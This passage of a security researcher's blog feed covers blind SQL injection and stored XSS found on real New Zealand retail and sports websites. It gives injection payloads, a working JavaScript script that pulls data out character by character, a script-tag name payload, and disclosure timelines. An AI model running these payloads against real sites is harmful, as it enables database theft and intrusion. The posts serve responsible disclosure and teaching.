&lt;p>Conversely, let&amp;rsquo;s see if we can do the opposite and ensure that no player is returned, once again, by adding some seemingly pointless SQL: &lt;code>216 and 1 = 0&lt;/code>. As you may expect, &lt;code>1 = 0&lt;/code> evaluates to &lt;code>0&lt;/code> which is a SQL &lt;code>false&lt;/code>.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/no-players-found.png">&lt;figcaption>
&lt;h4>The error message from selecting zero rows.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>In this case we get a different error message because zero rows are returned when the web application expected exactly one row.&lt;/p>
&lt;p>You may not realise it, but we now have all the tools we need to be able to extract &lt;em>every&lt;/em> single row of data from &lt;em>every&lt;/em> single table in the database!
We have found a blind SQL injection vulnerability.&lt;/p>
&lt;hr />
&lt;p>We call this a &lt;em>blind&lt;/em> SQL injection vulnerability because either something happens or it doesn&amp;rsquo;t.
We are &lt;em>blind&lt;/em> to the actual data returned from the server but we can still use this information to pull data out of the database.&lt;/p>
&lt;p>For example, perhaps we could return the normal page if some condition is true and the error page if the condition is false.
We know that our goal is to read out the value of &lt;code>Version()&lt;/code> and so perhaps a good place to start is to get the length of that string.&lt;/p>
&lt;h3 id="how-long-is-a-string">How Long is a String?
&lt;/h3>&lt;p>Normally, we would use the &lt;code>LENGTH&lt;/code> function to give us the length of the string like this:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">length&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">version&lt;/span>&lt;span class="p">())&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>However, that won&amp;rsquo;t work under the constraints of this SQL injection vulnerability.
We need to combine this approach with our special condition of returning either an error page or a normal page.
Which means, we will have to make many requests until the page doesn&amp;rsquo;t return an error.&lt;/p>
&lt;ul>
&lt;li>&lt;code>playerid=216 and length(version()) = 1&lt;/code>: error page ❌&lt;/li>
&lt;li>&lt;code>playerid=216 and length(version()) = 2&lt;/code>: error page ❌&lt;/li>
&lt;li>&lt;code>playerid=216 and length(version()) = 3&lt;/code>: error page ❌&lt;/li>
&lt;li>&amp;hellip;&lt;/li>
&lt;li>&lt;code>playerid=216 and length(version()) = 22&lt;/code>: error page ❌&lt;/li>
&lt;li>&lt;code>playerid=216 and length(version()) = 23&lt;/code>: normal page ✅&lt;/li>
&lt;/ul>
&lt;p>And now we know that our &lt;code>version()&lt;/code> string has 23 characters in it!
This is the first piece of information that we need to pull out that string.&lt;/p>
&lt;h3 id="one-character-at-a-time">One Character at a Time
&lt;/h3>&lt;p>We can extend this technique to extract the characters from our version string one at a time.
The process will involve looking at each of the 23 characters individially and comparing them to all the characters in the alphabet (and some numbers and symbols).&lt;/p>
&lt;p>The template for the query parameter that we&amp;rsquo;ll use is &lt;code>playerid=216 and substring(version(), IDX, 1) = CHAR&lt;/code> where &lt;code>IDX&lt;/code> is the index that we&amp;rsquo;re currently looking at (starting at 1) and &lt;code>CHAR&lt;/code> is the current character we&amp;rsquo;re comparing it to from our alphabet.
We must do this for all characters in our alphabet until we find a match and for all indices between 1 and our string length (23 in this case).&lt;/p>
&lt;ul>
&lt;li>&lt;code>playerid=216 and substring(version(), 1, 1) = 'a'&lt;/code>: error page ❌&lt;/li>
&lt;li>&lt;code>playerid=216 and substring(version(), 1, 1) = 'b'&lt;/code>: error page ❌&lt;/li>
&lt;li>&amp;hellip;&lt;/li>
&lt;li>&lt;code>playerid=216 and substring(version(), 1, 1) = '0'&lt;/code>: error page ❌&lt;/li>
&lt;li>&lt;code>playerid=216 and substring(version(), 1, 1) = '1'&lt;/code>: normal page ✅&lt;/li>
&lt;li>&lt;code>playerid=216 and substring(version(), 2, 1) = 'a'&lt;/code>: error page ❌&lt;/li>
&lt;li>&lt;code>playerid=216 and substring(version(), 2, 1) = 'b'&lt;/code>: error page ❌&lt;/li>
&lt;li>&amp;hellip;&lt;/li>
&lt;li>&lt;code>playerid=216 and substring(version(), 2, 1) = '0'&lt;/code>: normal page ✅&lt;/li>
&lt;li>&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>This will take a while and I&amp;rsquo;m not going to do this manually; instead I&amp;rsquo;ll write a script that will do it for me.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">async&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nx">isNormalPage&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">content&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">text&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">content&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="s2">&amp;#34;An error occured while retrieving player&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">async&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nx">sendRequest&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">playerId&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">params&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">URLSearchParams&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;view=article&amp;amp;id=286&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">params&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;playerid&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">playerId&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">fetch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;https://website-name/index.php/players/ratings?&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">params&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">toString&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">async&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nx">query&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">sql&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">length&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">validCharacters&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">let&lt;/span> &lt;span class="nx">idx&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">idx&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nx">length&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">idx&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">foundChar&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">let&lt;/span> &lt;span class="kr">char&lt;/span> &lt;span class="k">of&lt;/span> &lt;span class="nx">validCharacters&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">sendRequest&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sb">`216 and substring(&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">sql&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">, &lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">idx&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">, 1) = &amp;#39;&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="kr">char&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">&amp;#39;`&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">isNormalPage&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">res&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">result&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="kr">char&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">foundChar&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">foundChar&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">result&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s2">&amp;#34;?&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// couldn&amp;#39;t find the character
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">result&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;version():&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">query&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;version()&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">23&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>That&amp;rsquo;s only about 30 lines of JavaScript and we can use it to run arbitrary &lt;code>SELECT&lt;/code> queries on the database, pretty cool, huh?&lt;/p>
&lt;details>
&lt;summary>Notes on Performance&lt;/summary>
&lt;p>There are two points to be made about the performance of this script:&lt;/p>
&lt;ul>
&lt;li>Using equality to find the character is a bit primitive. Instead, we could use greater-than or less-than to find the characters faster. However, I suspect we would need to find more information about the collation setting of the server for this to work properly.&lt;/li>
&lt;li>We could also fire off these requests in parallel to make better use of our time.&lt;/li>
&lt;/ul>
&lt;/details>
&lt;p>Anyway, after about 5 minutes and 700 network requests, we get back the 23-character string &lt;code>10.11.7-mariadb-cll-lve&lt;/code>.&lt;/p>
&lt;p>Success! 🎉&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/requests.png">&lt;figcaption>
&lt;h4>You can see the network requests in action 🤩.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="impact">Impact
&lt;/h2>&lt;p>With just a little bit of ingenuity (and the 1337 hacker tool, Firefox) we were able to pull data out of the database by simply observing if an error page is returned or not.
We have also created a simple helper script to do a lot of the heavy lifting for us that can be extended to be multipurpose.&lt;/p>
&lt;p>More generally, this process can be used to extract any information out of any of the database tables.
Furthermore, since we know that this website is running Joomla, we also know exactly what tables and columns are available.
An attacker might use this to extract the data from the users table and attempt to crack the passwords offline.&lt;/p>
&lt;p>I don&amp;rsquo;t think it would be possible to use this particular vulnerability to run &lt;code>INSERT&lt;/code>, &lt;code>UPDATE&lt;/code>, or &lt;code>DELETE&lt;/code> statements on the server, but you never know.&lt;/p>
&lt;p>Whenever you see a headline along the lines of &lt;em>&amp;ldquo;Database Breach: Customer Data Stolen&amp;rdquo;&lt;/em>, SQL injection is usually the method used by hackers to steal the data.
You can see just how easy it would be for an attacker to do some real damage to the reputation of a website using these simple techniques.&lt;/p>
&lt;p>In some cases, SQL injection can be used as an entry point for an attacker to gain a permanent foothold in the system.
For example, if the server is configured in such a way, it might be possible for an attacker to upload script files to the website that can then be executed by the web server.
This might allow the threat actor to take complete control of the machine.&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>The timeline is as follows:&lt;/p>
&lt;ul>
&lt;li>22nd of April: I reported the issue to the website administrator.&lt;/li>
&lt;li>29th of April: I heard back from the web developer who implemented a fix.&lt;/li>
&lt;li>30th of April: I confirmed that the issue had been fixed.&lt;/li>
&lt;/ul>
&lt;p>The developer&amp;rsquo;s solution to this problem wasn&amp;rsquo;t to parameterise the SQL query, but to instead ensure that the value in the &lt;code>playerid&lt;/code> query parameter was an integer.
This solution absolutely fixes the problem and prevents malicious users from directly accessing the database.
I was impressed by how quick this website fixed the issue once they were aware of it.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@felix_mittermeier?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Felix Mittermeier&lt;/a> on &lt;a href="https://unsplash.com/photos/chess-pieces-on-board-nAjil1z3eLk?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Book Shop Name Flop</title><link>https://jesse.hacks.nz/p/book-shop-name-flop/</link><pubDate>Sun, 19 May 2024 14:30:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/book-shop-name-flop/</guid><description>&lt;img src="https://jesse.hacks.nz/p/book-shop-name-flop/leslie-lopez-holder-l4cSSdNrqak-unsplash.jpg" alt="Featured image of post Book Shop Name Flop" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This post will be a quick one since I don&amp;rsquo;t like droning on about cross-site scripting (XSS) all that much and I&amp;rsquo;m sure you&amp;rsquo;re all getting tired of reading about it.
Anyway, this week&amp;rsquo;s spotlight is on a kiwi-owned and operated retail store that traditionally specialised in books and stationery.
However, these days they also resell toys, games, and other goods.
And of course they have an online store that we can try and find some problems with.&lt;/p>
&lt;h2 id="exploring-for-issues">Exploring for Issues
&lt;/h2>&lt;p>The general approach I take when finding issues in websites looks roughly like this:&lt;/p>
&lt;ol>
&lt;li>Get a list of all known subdomains for the site.&lt;/li>
&lt;li>Attempt XSS and SQL injection in the search bar.&lt;/li>
&lt;li>Attempt SQL injection by changing query parameters of various pages.&lt;/li>
&lt;li>Attempt to get directory listings.&lt;/li>
&lt;li>Look at the &lt;code>robots.txt&lt;/code> file for anything juicy.&lt;/li>
&lt;li>Create two accounts, one for hacking from and one for hacking into.&lt;/li>
&lt;li>Attempt to read/modify the details of one account from the other.&lt;/li>
&lt;li>Attempt XSS and SQL injection on the account details.&lt;/li>
&lt;li>&lt;del>Cry about my skill issues&lt;/del> Smile because they have good security and move on to another website.&lt;/li>
&lt;/ol>
&lt;p>During all of this, I am making notes on the technology used behind the scenes and am thinking about other ways I could break it.&lt;/p>
&lt;p>In this case, I didn&amp;rsquo;t have to get to the final stage of this process!&lt;/p>
&lt;h2 id="user-profile">User Profile
&lt;/h2>&lt;p>Much like almost every other post in the &lt;a class="link" href="https://jesse.hacks.nz/tags/xss/" >XSS category&lt;/a>, this website has a problem when it comes to displaying the user&amp;rsquo;s first name.
If the user changes their name to &lt;code>Mallor&amp;lt;b&amp;gt;y&amp;lt;/b&amp;gt;&lt;/code> (which makes the letter &amp;lsquo;y&amp;rsquo; bold), then they are greeted with this:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/013/bold.png">&lt;figcaption>
&lt;h4>Note the &amp;#39;y&amp;#39; in the user&amp;#39;s name is rather heavier than the rest of the letters.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Having the webpage render the name as HTML is like gold for a would-be attacker since they can now begin to experiment with what is possible with this vulnerability.&lt;/p>
&lt;h2 id="whats-in-a-name-spoiler-alert-its-javascript">What&amp;rsquo;s in a Name? (Spoiler Alert: It&amp;rsquo;s JavaScript)
&lt;/h2>&lt;p>Now that we know we can use XSS in the first name, we can check to see if we can put a script tag in there.
Often websites will employ a Web Application Firewall (WAF) to block malicious requests to the website.
A WAF will almost always block requests that have any kind of JavaScript (or SQL injection) in them.
In some cases, the WAF can be bypassed; in other cases, it can&amp;rsquo;t.
In this case there doesn&amp;rsquo;t appear to be a WAF at all which makes our job easier.&lt;/p>
&lt;p>Let&amp;rsquo;s try and get a popup to appear by putting a script tag in the first name field.
We&amp;rsquo;ll try &lt;code>Mallory&amp;lt;script&amp;gt;alert('oof')&amp;lt;/script&amp;gt;&lt;/code> to achieve this.
This is what it looks like when we save the page:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/013/firstname.png">&lt;figcaption>
&lt;h4>The name has been properly escaped in 1 and 2 but not 3.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>And now let&amp;rsquo;s try navigating to another page on the site.
We can see that the alert pops up just as we intended.
This means that we can now execute arbitrary JavaScript code through our name!&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/013/alert.png">&lt;figcaption>
&lt;h4>It works! We can successfully inject scripts into the page via our name.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="why-does-this-work">Why Does This Work?
&lt;/h2>&lt;p>The are various reasons why XSS can occur.
Sometimes it&amp;rsquo;s because the frontend has added some user-supplied value to the DOM with &lt;code>innerHTML&lt;/code> instead if &lt;code>innerText&lt;/code>.
Sometimes it&amp;rsquo;s because the backend hasn&amp;rsquo;t run any escaping or sanitisation function on the user-supplied code.&lt;/p>
&lt;p>In this particular case, the fault lies with the backend code not escaping the value properly when building out the webpage.
We know this because we can view the source of the webpage before any JavaScript is executed and we can clearly see the script tag just sitting there, waiting to be executed.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/013/source.png">&lt;figcaption>
&lt;h4>Ensure you escape user-supplied values, people!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="impact">Impact
&lt;/h2>&lt;p>As a recap, we have found that this website has a stored XSS vulnerability that would allow a threat actor to execute arbitrary code on this website.
By itself that is a pretty serious security issue.
However, the users on this site are completely isolated and the only person who is going to be affected by this vulnerability is the user themselves.
Therefore, the impact of this is pretty low and honestly not too much of an issue.&lt;/p>
&lt;p>If this user&amp;rsquo;s name was rendered as HTML to other users on the website (as was the case in &lt;a class="link" href="https://jesse.hacks.nz/p/architecting-a-social-media-worm-with-xss/" >this previous post&lt;/a>) then this would be a critical issue since User A could make changes to User B&amp;rsquo;s account when User B views User A&amp;rsquo;s name.&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I reported this issue to the website on the 5th of May.
At the time of publishing I hadn&amp;rsquo;t heard back from a human and the issue has not been fixed.&lt;/p>
&lt;p>I&amp;rsquo;m not worried about publishing this post since the impact of this bug is small and not exploitable in a meaningful way.
I will update this post if they get back to me or fix the issue.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@leslielopezholder?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Leslie Lopez Holder&lt;/a> on &lt;a href="https://unsplash.com/photos/brown-wooden-bookshelf-and-book-lot-l4cSSdNrqak?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Helping Oneself to the PII of 800,000 Users and More</title><link>https://jesse.hacks.nz/p/helping-oneself-to-the-pii-of-800000-users-and-more/</link><pubDate>Tue, 14 May 2024 13:00:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/helping-oneself-to-the-pii-of-800000-users-and-more/</guid><description>&lt;img src="https://jesse.hacks.nz/p/helping-oneself-to-the-pii-of-800000-users-and-more/jason-dent-JFk0dVyvdvw-unsplash.jpg" alt="Featured image of post Helping Oneself to the PII of 800,000 Users and More" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>Today&amp;rsquo;s post is about a website that hosts shopping catalogues for many brick-and-mortar retail stores.
You&amp;rsquo;ve probably heard or purchased from some of these stores before: Bunnings, Woolworths, Briscoes, etc.
This website also has a very &amp;ldquo;late 00s&amp;rdquo; vibe, both from the frontend UI and the behaviour of the backend.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/website.png">&lt;figcaption>
&lt;h4>The frontpage of the website.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This website also has an Australian site that fills the same niche for the Australian market.
I&amp;rsquo;ve found quite a few issues with these websites and so I&amp;rsquo;ve decided to present them all in the one post.&lt;/p>
&lt;h2 id="information-disclosure">Information Disclosure
&lt;/h2>&lt;p>Due to how the server is configured we can extract quite a bit of information about the software running on the backend.&lt;/p>
&lt;h3 id="in-a-stacktrace">In a Stacktrace
&lt;/h3>&lt;p>Catalogues are embedded into other websites by a service running on &amp;ldquo;embed.website-name.co.nz&amp;rdquo;.
A website such as Smith&amp;rsquo;s City will make a request to &lt;code>https://embed.website-name.co.nz/catalogues/view/56/&lt;/code> which returns some JSON with information about the catalogue in it.
If we manipulate the URL to induce an error, for example by removing the last segment of the URL we get this error page:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/stacktrace.png">&lt;figcaption>
&lt;h4>The error page returned by https://embed.website-name.co.nz/catalogues/view/&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This gives us quite a bit of information about what the system is running:&lt;/p>
&lt;ul>
&lt;li>The programming language used: PHP.&lt;/li>
&lt;li>The operating system that the server is running on: some kind of *nix.&lt;/li>
&lt;li>The location of the static content: &lt;code>/var/www/vhosts/embed.website-name.co.nz/public_html/&lt;/code>&lt;/li>
&lt;li>The location of the PHP app: &lt;code>/var/www/vhosts/embed.website-name.co.nz/application/&lt;/code>&lt;/li>
&lt;li>The web framework in use: &lt;a class="link" href="https://codeigniter.com/" target="_blank" rel="noopener"
>CodeIgniter&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>This is far more information than one would want to give away about the system since it could be used by an attacker in conjunction with some other kind of attack.
Ideally, this information would never make its way to the end user; it should be logged instead.
This is most likely a configuration issue that can easily be fixed.&lt;/p>
&lt;h3 id="in-the-headers">In the Headers
&lt;/h3>&lt;p>The above is useful information, to be sure.
However, we also get quite a bit of information from the response headers of a normal HTTP request:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/008/headers.png">&lt;figcaption>
&lt;h4>These headers are returned with every HTTP response.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>From here we can ascertain:&lt;/p>
&lt;ul>
&lt;li>The web server and its version: Apache v2.4.58&lt;/li>
&lt;li>The PHP version: 7.4.33&lt;/li>
&lt;li>The OpenSSL version: 1.0.2k-fips&lt;/li>
&lt;/ul>
&lt;p>This information could be used to look for vulnerabilities that can be used on this website.
At the time of writing, this version of Apache is the latest stable version and is about 6 months old.
This version of PHP is the latest version available for the 7.4 series and was released in November 2022 (about 16 months ago).&lt;/p>
&lt;p>However, this version of OpenSSL is very &lt;em>very&lt;/em> dated.
It was released in January 2017; more than 7 years ago!
It&amp;rsquo;s also not the latest release in the 1.0.2 series and so should at least be patched to the latest version.
We can also guess that the operating system &lt;em>could&lt;/em> be Red Hat Enterprise Linux (RHEL) since this seems to be the only operating system currently using this specific version of OpenSSL as its latest.&lt;/p>
&lt;p>This information should absolutely be stripped out of the headers before being returned to the user.
As mentioned in the previous section, by knowing this information an attacker has a much easier time finding vulnerabilities for your software.
Most web servers will allow you to strip these headers out before they get sent down to the client.&lt;/p>
&lt;h2 id="cross-site-scripting">Cross-Site Scripting
&lt;/h2>&lt;p>Just like &lt;a class="link" href="https://jesse.hacks.nz/p/having-some-fun-with-xss/" >all&lt;/a> &lt;a class="link" href="https://jesse.hacks.nz/p/customise-your-toy-shopping-experience-with-xss/" >these&lt;/a> &lt;a class="link" href="https://jesse.hacks.nz/p/architecting-a-social-media-worm-with-xss/" >websites&lt;/a>, this website also has a cross-site scripting vulnerability.
It seems like websites just can&amp;rsquo;t get enough of allowing the user to customise their user experience; that&amp;rsquo;s pretty generous.&lt;/p>
&lt;h3 id="via-the-users-name">Via the User&amp;rsquo;s Name
&lt;/h3>&lt;p>Firstly, we can change our first name to include arbitrary HTML tags&amp;hellip; including scripts.
